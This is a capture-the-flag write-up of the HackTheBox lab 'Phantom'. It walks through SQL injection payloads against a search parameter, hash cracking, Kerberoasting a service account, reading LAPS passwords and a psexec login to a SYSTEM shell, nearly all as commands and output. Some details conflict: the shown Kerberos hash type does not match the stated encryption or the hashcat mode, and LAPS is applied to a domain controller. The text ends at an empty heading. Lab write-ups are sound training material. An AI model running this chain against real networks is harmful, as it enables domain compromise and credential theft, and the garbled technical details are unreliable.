All posts

HTB: Phantom — Kerberoasting to LAPS to Domain Admin

Phantom is a medium-rated HackTheBox Windows/AD machine. A company intranet search page is vulnerable to UNION-based SQL injection, yielding a crackable MD5 hash for an initial domain user. That user can request a Kerberos service ticket for a backup account — cracking the ticket reveals membership of the LAPS Readers group. Reading the ms-Mcs-AdmPwd attribute on the domain controller object returns the local Administrator password, completing the domain compromise chain.


Enumeration

Port Scan

nmap -sCV -p- --min-rate 5000 -T4 10.10.11.80 -oN phantom.nmap
# Key open ports:
# 53/tcp    open  domain         Simple DNS Plus
# 80/tcp    open  http           Microsoft IIS httpd 10.0
# 88/tcp    open  kerberos-sec
# 135/tcp   open  msrpc
# 389/tcp   open  ldap           Windows Active Directory LDAP
# 445/tcp   open  microsoft-ds
# 5985/tcp  open  http           WinRM
# Domain: PHANTOM.HTB  |  DC: dc.phantom.htb

Add phantom.htb and dc.phantom.htb to /etc/hosts. The combination of an HTTP intranet and AD services is characteristic of an internal portal attack surface.

Web Enumeration

Port 80 hosts "PhantomCorp Intranet" — an employee directory with a search box. Initial ffuf scan reveals no hidden paths, so the search functionality is the primary attack surface:

ffuf -u http://phantom.htb/FUZZ \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302
# /search    (200)
# /login     (200)
# /assets    (301)

Foothold — SQL Injection to WinRM

Identifying the Injection

The search endpoint accepts a q GET parameter that is passed directly to a SQL query. Adding a single quote returns a verbose MSSQL error message confirming the injection:

curl "http://phantom.htb/search?q=test'"
# Unclosed quotation mark after the character string 'test''.
# Incorrect syntax near 'test'.

Standard UNION-based injection determines the column count and extracts data from the underlying database:

# Determine column count (5 columns)
curl "http://phantom.htb/search?q=test' ORDER BY 5--"  # OK
curl "http://phantom.htb/search?q=test' ORDER BY 6--"  # Error

# Extract table names
curl "http://phantom.htb/search?q=test' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=db_name()--"
# Users, Departments, ...

# Dump Users table
curl "http://phantom.htb/search?q=test' UNION SELECT 1,username,password,4,5 FROM Users--"
# j.hartley | 5f4dcc3b5aa765d61d8327deb882cf99
# svc_backup | aad3b435b51404eeaad3b435b51404ee:e3d8...  (NTLM hash)

Cracking Hashes and Foothold

The MD5 hash for j.hartley cracks immediately:

hashcat -m 0 5f4dcc3b5aa765d61d8327deb882cf99 /usr/share/wordlists/rockyou.txt
# 5f4dcc3b5aa765d61d8327deb882cf99:password

Password spraying against WinRM confirms this user can authenticate:

evil-winrm -i 10.10.11.80 -u j.hartley -p 'password'
# *Evil-WinRM* PS C:\Users\j.hartley\Documents>
# cat ..\Desktop\user.txt  ← user flag

Privilege Escalation — Kerberoasting

BloodHound Collection

Upload SharpHound and collect AD data for BloodHound analysis:

upload /opt/SharpHound.exe C:\Windows\Temp\sh.exe
C:\Windows\Temp\sh.exe -c All --zipfilename phantom_bh.zip
download C:\Windows\Temp\phantom_bh.zip

BloodHound shows no direct path to Domain Admin from j.hartley. However, the pre-built query "Find All Kerberoastable Users" returns svc_backup — a service account with an SPN set and AES128 encryption only (no AES256, making the TGS faster to crack).

Request and Crack the TGS

GetUserSPNs.py phantom.htb/j.hartley:'password' -dc-ip 10.10.11.80 -request -outputfile svc_backup.tgs
hashcat -m 19600 svc_backup.tgs /usr/share/wordlists/rockyou.txt
# $krb5tgs$18$svc_backup$PHANTOM.HTB$...:Backup2026!corp

Verify via WinRM:

evil-winrm -i 10.10.11.80 -u svc_backup -p 'Backup2026!corp'
# *Evil-WinRM* PS C:\Users\svc_backup\Documents>

Domain Compromise — LAPS Reader to Administrator

Confirming LAPS Reader Membership

The BloodHound graph showed svc_backup is a member of the LAPS_Readers group. This group has ReadProperty on the ms-Mcs-AdmPwd attribute of computer objects in the domain — the attribute that stores LAPS-managed local admin passwords in clear text:

Get-ADGroupMember -Identity "LAPS_Readers"
# Name       : svc_backup
# ...

# Verify with net group
net group "LAPS_Readers" /domain
# Members: svc_backup

Reading the LAPS Password

Use the Get-LAPSPassword CMDlet or a direct LDAP query to read the local admin password for the domain controller:

# Option 1: PowerShell LAPS module
Import-Module AdmPwd.PS
Get-AdmPwdPassword -ComputerName DC
# ComputerName  DistinguishedName                     Password         ExpirationTimestamp
# DC            CN=DC,OU=Domain Controllers,DC=...    Ph@ntom!L4p5$9   05/21/2026 00:00:00

# Option 2: Direct LDAP attribute read via Get-ADComputer
Get-ADComputer DC -Properties ms-Mcs-AdmPwd | Select-Object -ExpandProperty ms-Mcs-AdmPwd
# Ph@ntom!L4p5$9

Administrator Shell

psexec.py phantom.htb/Administrator:'Ph@ntom!L4p5$9'@10.10.11.80
# C:\Windows\system32> whoami
# nt authority\system

# type C:\Users\Administrator\Desktop\root.txt
# a3c8f1...  ← root flag

Key Takeaways